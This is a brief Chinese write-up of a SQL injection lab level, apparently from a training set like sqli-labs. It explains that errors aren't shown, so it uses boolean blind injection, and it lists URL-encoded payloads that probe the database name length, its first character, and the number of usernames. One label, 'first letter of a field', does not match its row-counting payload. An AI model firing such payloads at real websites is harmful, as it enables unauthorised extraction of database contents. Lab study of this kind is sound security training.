这一关sql语句执行抛出错误后并不在页面输出,所以排除报错注入。
可猜测后端查询语句为SELECT * FROM users WHERE id=('$id') LIMIT0,1
故采用盲注解题
部分payload如下:
判断数据库长度:
?id=2')%26%26length(database())>5%26%26'1'=('1
求解数据库名第一个字母:
?id=2') %26%26 substr(database(),1,1)>'m' %26%26 '1'=('1
求解字段的第一个字母:
?id=2') %26%26 (select(count(username)) from (users))>5 %26%26 '1'=('1